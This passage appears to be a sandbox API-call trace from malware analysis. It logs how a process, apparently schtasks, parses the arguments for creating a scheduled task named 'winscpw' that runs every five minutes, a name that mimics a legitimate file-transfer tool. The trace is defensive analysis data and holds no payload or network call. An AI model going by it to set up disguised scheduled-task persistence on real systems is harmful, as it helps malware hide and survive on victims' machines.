(lpString="/tn") returned 3 [0078.829] lstrlenW (lpString="-/") returned 2 [0078.829] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.829] lstrlenW (lpString="create") returned 6 [0078.829] lstrlenW (lpString="create") returned 6 [0078.829] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.829] lstrlenW (lpString="tn") returned 2 [0078.829] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.829] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.829] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.829] lstrlenW (lpString="|create|") returned 8 [0078.829] lstrlenW (lpString="|tn|") returned 4 [0078.829] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0078.829] SetLastError (dwErrCode=0x490) [0078.829] lstrlenW (lpString="?") returned 1 [0078.829] lstrlenW (lpString="?") returned 1 [0078.829] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.829] lstrlenW (lpString="tn") returned 2 [0078.829] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.829] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|?|") returned 3 [0078.829] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.829] lstrlenW (lpString="|?|") returned 3 [0078.829] lstrlenW (lpString="|tn|") returned 4 [0078.829] SetLastError (dwErrCode=0x490) [0078.829] lstrlenW (lpString="s") returned 1 [0078.829] lstrlenW (lpString="s") returned 1 [0078.829] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.829] lstrlenW (lpString="tn") returned 2 [0078.829] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.830] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|s|") returned 3 [0078.830] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.830] lstrlenW (lpString="|s|") returned 3 [0078.830] lstrlenW (lpString="|tn|") returned 4 [0078.830] SetLastError (dwErrCode=0x490) [0078.830] lstrlenW (lpString="u") returned 1 [0078.830] lstrlenW (lpString="u") returned 1 [0078.830] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.830] lstrlenW (lpString="tn") returned 2 [0078.830] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.830] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|u|") returned 3 [0078.830] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.830] lstrlenW (lpString="|u|") returned 3 [0078.830] lstrlenW (lpString="|tn|") returned 4 [0078.830] SetLastError (dwErrCode=0x490) [0078.830] lstrlenW (lpString="p") returned 1 [0078.830] lstrlenW (lpString="p") returned 1 [0078.830] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.830] lstrlenW (lpString="tn") returned 2 [0078.830] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.830] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|p|") returned 3 [0078.830] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.830] lstrlenW (lpString="|p|") returned 3 [0078.830] lstrlenW (lpString="|tn|") returned 4 [0078.830] SetLastError (dwErrCode=0x490) [0078.830] lstrlenW (lpString="ru") returned 2 [0078.830] lstrlenW (lpString="ru") returned 2 [0078.830] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] lstrlenW (lpString="tn") returned 2 [0078.831] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ru|") returned 4 [0078.831] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.831] lstrlenW (lpString="|ru|") returned 4 [0078.831] lstrlenW (lpString="|tn|") returned 4 [0078.831] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0078.831] SetLastError (dwErrCode=0x490) [0078.831] lstrlenW (lpString="rp") returned 2 [0078.831] lstrlenW (lpString="rp") returned 2 [0078.831] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] lstrlenW (lpString="tn") returned 2 [0078.831] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|rp|") returned 4 [0078.831] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.831] lstrlenW (lpString="|rp|") returned 4 [0078.831] lstrlenW (lpString="|tn|") returned 4 [0078.831] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0078.831] SetLastError (dwErrCode=0x490) [0078.831] lstrlenW (lpString="sc") returned 2 [0078.831] lstrlenW (lpString="sc") returned 2 [0078.831] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] lstrlenW (lpString="tn") returned 2 [0078.831] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.831] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.831] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.831] lstrlenW (lpString="|sc|") returned 4 [0078.832] lstrlenW (lpString="|tn|") returned 4 [0078.832] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0078.832] SetLastError (dwErrCode=0x490) [0078.832] lstrlenW (lpString="mo") returned 2 [0078.832] lstrlenW (lpString="mo") returned 2 [0078.832] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.832] lstrlenW (lpString="tn") returned 2 [0078.832] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.832] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.832] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.832] lstrlenW (lpString="|mo|") returned 4 [0078.832] lstrlenW (lpString="|tn|") returned 4 [0078.832] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0078.832] SetLastError (dwErrCode=0x490) [0078.832] lstrlenW (lpString="d") returned 1 [0078.832] lstrlenW (lpString="d") returned 1 [0078.832] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.832] lstrlenW (lpString="tn") returned 2 [0078.832] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.832] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|d|") returned 3 [0078.832] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.832] lstrlenW (lpString="|d|") returned 3 [0078.832] lstrlenW (lpString="|tn|") returned 4 [0078.832] SetLastError (dwErrCode=0x490) [0078.832] lstrlenW (lpString="m") returned 1 [0078.832] lstrlenW (lpString="m") returned 1 [0078.832] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.832] lstrlenW (lpString="tn") returned 2 [0078.832] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.833] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|m|") returned 3 [0078.833] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.833] lstrlenW (lpString="|m|") returned 3 [0078.833] lstrlenW (lpString="|tn|") returned 4 [0078.833] SetLastError (dwErrCode=0x490) [0078.833] lstrlenW (lpString="i") returned 1 [0078.833] lstrlenW (lpString="i") returned 1 [0078.833] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.833] lstrlenW (lpString="tn") returned 2 [0078.833] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.833] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|i|") returned 3 [0078.833] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.833] lstrlenW (lpString="|i|") returned 3 [0078.833] lstrlenW (lpString="|tn|") returned 4 [0078.833] SetLastError (dwErrCode=0x490) [0078.833] lstrlenW (lpString="tn") returned 2 [0078.833] lstrlenW (lpString="tn") returned 2 [0078.833] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.833] lstrlenW (lpString="tn") returned 2 [0078.833] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.833] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.833] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|tn|") returned 4 [0078.833] lstrlenW (lpString="|tn|") returned 4 [0078.833] lstrlenW (lpString="|tn|") returned 4 [0078.833] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0078.833] SetLastError (dwErrCode=0x0) [0078.833] SetLastError (dwErrCode=0x0) [0078.833] lstrlenW (lpString="winscpw") returned 7 [0078.834] lstrlenW (lpString="-/") returned 2 [0078.834] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0078.834] SetLastError (dwErrCode=0x490) [0078.834] SetLastError (dwErrCode=0x490) [0078.834] SetLastError (dwErrCode=0x0) [0078.834] lstrlenW (lpString="winscpw") returned 7 [0078.834] StrChrIW (lpStart="winscpw", wMatch=0x3a) returned 0x0 [0078.834] SetLastError (dwErrCode=0x490) [0078.834] SetLastError (dwErrCode=0x0) [0078.834] lstrlenW (lpString="winscpw") returned 7 [0078.834] SetLastError (dwErrCode=0x0) [0078.834] SetLastError (dwErrCode=0x0) [0078.834] lstrlenW (lpString="/sc") returned 3 [0078.834] lstrlenW (lpString="-/") returned 2 [0078.834] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.834] lstrlenW (lpString="create") returned 6 [0078.834] lstrlenW (lpString="create") returned 6 [0078.834] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.834] lstrlenW (lpString="sc") returned 2 [0078.834] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.834] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.834] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.834] lstrlenW (lpString="|create|") returned 8 [0078.834] lstrlenW (lpString="|sc|") returned 4 [0078.834] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0078.834] SetLastError (dwErrCode=0x490) [0078.834] lstrlenW (lpString="?") returned 1 [0078.834] lstrlenW (lpString="?") returned 1 [0078.834] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.835] lstrlenW (lpString="sc") returned 2 [0078.835] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.835] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|?|") returned 3 [0078.835] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.835] lstrlenW (lpString="|?|") returned 3 [0078.835] lstrlenW (lpString="|sc|") returned 4 [0078.835] SetLastError (dwErrCode=0x490) [0078.835] lstrlenW (lpString="s") returned 1 [0078.835] lstrlenW (lpString="s") returned 1 [0078.835] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.835] lstrlenW (lpString="sc") returned 2 [0078.835] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.835] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|s|") returned 3 [0078.836] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.836] lstrlenW (lpString="|s|") returned 3 [0078.836] lstrlenW (lpString="|sc|") returned 4 [0078.836] SetLastError (dwErrCode=0x490) [0078.836] lstrlenW (lpString="u") returned 1 [0078.836] lstrlenW (lpString="u") returned 1 [0078.836] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] lstrlenW (lpString="sc") returned 2 [0078.836] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|u|") returned 3 [0078.836] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.836] lstrlenW (lpString="|u|") returned 3 [0078.836] lstrlenW (lpString="|sc|") returned 4 [0078.836] SetLastError (dwErrCode=0x490) [0078.836] lstrlenW (lpString="p") returned 1 [0078.836] lstrlenW (lpString="p") returned 1 [0078.836] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] lstrlenW (lpString="sc") returned 2 [0078.836] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|p|") returned 3 [0078.836] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.836] lstrlenW (lpString="|p|") returned 3 [0078.836] lstrlenW (lpString="|sc|") returned 4 [0078.836] SetLastError (dwErrCode=0x490) [0078.836] lstrlenW (lpString="ru") returned 2 [0078.836] lstrlenW (lpString="ru") returned 2 [0078.836] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] lstrlenW (lpString="sc") returned 2 [0078.836] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.836] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ru|") returned 4 [0078.837] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.837] lstrlenW (lpString="|ru|") returned 4 [0078.837] lstrlenW (lpString="|sc|") returned 4 [0078.837] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0078.837] SetLastError (dwErrCode=0x490) [0078.837] lstrlenW (lpString="rp") returned 2 [0078.837] lstrlenW (lpString="rp") returned 2 [0078.837] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.837] lstrlenW (lpString="sc") returned 2 [0078.837] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.837] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|rp|") returned 4 [0078.837] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.837] lstrlenW (lpString="|rp|") returned 4 [0078.837] lstrlenW (lpString="|sc|") returned 4 [0078.837] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0078.837] SetLastError (dwErrCode=0x490) [0078.837] lstrlenW (lpString="sc") returned 2 [0078.837] lstrlenW (lpString="sc") returned 2 [0078.837] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.837] lstrlenW (lpString="sc") returned 2 [0078.837] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.837] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.837] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.837] lstrlenW (lpString="|sc|") returned 4 [0078.837] lstrlenW (lpString="|sc|") returned 4 [0078.837] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0078.837] SetLastError (dwErrCode=0x0) [0078.837] SetLastError (dwErrCode=0x0) [0078.837] lstrlenW (lpString="MINUTE") returned 6 [0078.837] lstrlenW (lpString="-/") returned 2 [0078.838] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0078.838] SetLastError (dwErrCode=0x490) [0078.838] SetLastError (dwErrCode=0x490) [0078.838] SetLastError (dwErrCode=0x0) [0078.838] lstrlenW (lpString="MINUTE") returned 6 [0078.838] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0078.838] SetLastError (dwErrCode=0x490) [0078.838] SetLastError (dwErrCode=0x0) [0078.838] GetProcessHeap () returned 0x3f0000 [0078.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40d660 [0078.838] _memicmp (_Buf1=0x40d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.838] lstrlenW (lpString="MINUTE") returned 6 [0078.838] GetProcessHeap () returned 0x3f0000 [0078.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d680 [0078.838] lstrlenW (lpString="MINUTE") returned 6 [0078.838] lstrlenW (lpString=" \x09") returned 2 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0078.838] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0078.838] GetLastError () returned 0x0 [0078.838] lstrlenW (lpString="MINUTE") returned 6 [0078.838] lstrlenW (lpString="MINUTE") returned 6 [0078.838] SetLastError (dwErrCode=0x0) [0078.838] SetLastError (dwErrCode=0x0) [0078.838] lstrlenW (lpString="/mo") returned 3 [0078.838] lstrlenW (lpString="-/") returned 2 [0078.838] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0078.838] lstrlenW (lpString="create") returned 6 [0078.838] lstrlenW (lpString="create") returned 6 [0078.839] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] lstrlenW (lpString="mo") returned 2 [0078.839] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|create|") returned 8 [0078.839] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.839] lstrlenW (lpString="|create|") returned 8 [0078.839] lstrlenW (lpString="|mo|") returned 4 [0078.839] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0078.839] SetLastError (dwErrCode=0x490) [0078.839] lstrlenW (lpString="?") returned 1 [0078.839] lstrlenW (lpString="?") returned 1 [0078.839] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] lstrlenW (lpString="mo") returned 2 [0078.839] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|?|") returned 3 [0078.839] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.839] lstrlenW (lpString="|?|") returned 3 [0078.839] lstrlenW (lpString="|mo|") returned 4 [0078.839] SetLastError (dwErrCode=0x490) [0078.839] lstrlenW (lpString="s") returned 1 [0078.839] lstrlenW (lpString="s") returned 1 [0078.839] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] lstrlenW (lpString="mo") returned 2 [0078.839] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.839] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|s|") returned 3 [0078.839] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.839] lstrlenW (lpString="|s|") returned 3 [0078.839] lstrlenW (lpString="|mo|") returned 4 [0078.840] SetLastError (dwErrCode=0x490) [0078.840] lstrlenW (lpString="u") returned 1 [0078.840] lstrlenW (lpString="u") returned 1 [0078.840] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] lstrlenW (lpString="mo") returned 2 [0078.840] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|u|") returned 3 [0078.840] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.840] lstrlenW (lpString="|u|") returned 3 [0078.840] lstrlenW (lpString="|mo|") returned 4 [0078.840] SetLastError (dwErrCode=0x490) [0078.840] lstrlenW (lpString="p") returned 1 [0078.840] lstrlenW (lpString="p") returned 1 [0078.840] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] lstrlenW (lpString="mo") returned 2 [0078.840] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|p|") returned 3 [0078.840] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.840] lstrlenW (lpString="|p|") returned 3 [0078.840] lstrlenW (lpString="|mo|") returned 4 [0078.840] SetLastError (dwErrCode=0x490) [0078.840] lstrlenW (lpString="ru") returned 2 [0078.840] lstrlenW (lpString="ru") returned 2 [0078.840] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] lstrlenW (lpString="mo") returned 2 [0078.840] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.840] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|ru|") returned 4 [0078.840] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.841] lstrlenW (lpString="|ru|") returned 4 [0078.841] lstrlenW (lpString="|mo|") returned 4 [0078.841] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0078.841] SetLastError (dwErrCode=0x490) [0078.841] lstrlenW (lpString="rp") returned 2 [0078.841] lstrlenW (lpString="rp") returned 2 [0078.841] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.841] lstrlenW (lpString="mo") returned 2 [0078.841] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.841] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|rp|") returned 4 [0078.841] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.841] lstrlenW (lpString="|rp|") returned 4 [0078.841] lstrlenW (lpString="|mo|") returned 4 [0078.841] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0078.841] SetLastError (dwErrCode=0x490) [0078.841] lstrlenW (lpString="sc") returned 2 [0078.841] lstrlenW (lpString="sc") returned 2 [0078.841] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.841] lstrlenW (lpString="mo") returned 2 [0078.841] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.841] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|sc|") returned 4 [0078.841] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.841] lstrlenW (lpString="|sc|") returned 4 [0078.841] lstrlenW (lpString="|mo|") returned 4 [0078.841] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0078.841] SetLastError (dwErrCode=0x490) [0078.841] lstrlenW (lpString="mo") returned 2 [0078.841] lstrlenW (lpString="mo") returned 2 [0078.841] _memicmp (_Buf1=0x40c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.842] lstrlenW (lpString="mo") returned 2 [0078.842] _memicmp (_Buf1=0x40c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.842] _vsnwprintf (in: _Buffer=0x40c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.842] _vsnwprintf (in: _Buffer=0x40c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c348 | out: _Buffer="|mo|") returned 4 [0078.842] lstrlenW (lpString="|mo|") returned 4 [0078.842] lstrlenW (lpString="|mo|") returned 4 [0078.842] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0078.842] SetLastError (dwErrCode=0x0) [0078.842] SetLastError (dwErrCode=0x0) [0078.842] lstrlenW (lpString="5") returned 1 [0078.842] SetLastError (dwErrCode=0x490) [0078.842] SetLastError (dwErrCode=0x0) [0078.842] lstrlenW (lpString="5") returned 1 [0078.842] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0078.842] SetLastError (dwErrCode=0x490) [0078.842] SetLastError (dwErrCode=0x0) [0078.842] _memicmp (_Buf1=0x40d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0078.842] lstrlenW (lpString="5") returned 1 [0078.842] lstrlenW (lpString="5") returned 1 [0078.842] lstrlenW (lpString=" \x09") returned 2 [0078.842] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0078.842] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0078.842] GetLastError () returned 0x0 